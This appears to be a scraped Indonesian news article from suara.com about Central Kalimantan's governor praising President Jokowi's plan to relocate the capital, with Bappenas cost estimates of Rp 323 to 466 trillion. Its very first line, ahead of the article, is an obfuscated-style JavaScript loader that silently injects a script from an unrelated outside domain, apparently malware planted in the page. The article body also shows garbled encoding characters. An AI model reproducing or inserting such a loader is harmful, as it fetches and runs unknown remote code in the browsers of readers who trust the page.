(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Politik

Pemindahan Ibu Kota, Gubernur Kalteng: Pak Jokowi Ini berani, Walau Dikritik

Gubernur Kalimantan TengahÃ‚Â H Sugianto SabranÃ‚Â menyebut Presiden Joko Widodo (Jokowi) punya keberanian mengambil keputusan rencanaÃ‚Â pemindahan ibu kota negara meski menuai kritikan.

Ã¢â‚¬Å“Saya rasa, bangsa yang besar punya mimpi-mimpi yang besar. Pak Jokowi ini berani, walaupun menuai kritikan,Ã¢â‚¬Â ujar Sugianto di Kantor Staf Presiden, Kompleks Istana Kepresidenan, Jakarta, Senin (6/5/2019).

Ia pun menilai anggaran yang usulkan Bappenas yang ditaksir ratusan triliun, merupakan angka yang kecil untuk memindahkan ibu kota. Sebab kata dia, pemindahan ibu kota merupakan kepentingan besar bagi Indonesia untuk kedepannya.

Ã¢â‚¬Å“Anggaran Rp 400 triliun, ini kecil dibandingkan dengan negara kita, kecil sekali anggaran Rp 400 triliun memindahkan suatu ibu kota. Pandangan saya, ini untuk kepentingan bangsa Indonesia ke depannya, bukan untuk saat ini saja,Ã¢â‚¬Â kata dia.

Diketahui ada dua skema pemindahan yang diusulkan Bappenas. Dua skemaÃ‚Â rightsizingÃ‚Â dan non-rightsizing. Untuk skemaÃ‚Â rightsizing, diperlukan biaya sekitar Rp 323 triliun dan untuk skemaÃ‚Â non-rightsizingÃ‚Â diperlukan biaya sekitar Rp 466 triliun.

Sebelumnya, Presiden Jokowi menyebut Pulau Kalimantan memiliki posisi di tengah-tengah Indonesia terkait lokasi penempatan ibu kota baru. Sehingga itu bisa dijadikan alasan kuat Ibu Kota negara pindah ke sana dari Jakarta.

Jokowi menjelaskan pemerintah memilih untuk memindahkan ibu kota pemerintahan ke luar Pulau Jawa karena daerah itu sudah terlalu padat. Selain itu, sejumlah aspek daya dukung seperti lalu lintas, lingkungan, dan air tidak lagi memungkinkan untuk dapat mendukung pengembangan ibu kota baru di Jawa. (suara.com)

Reporter:suara.com
Editor:kk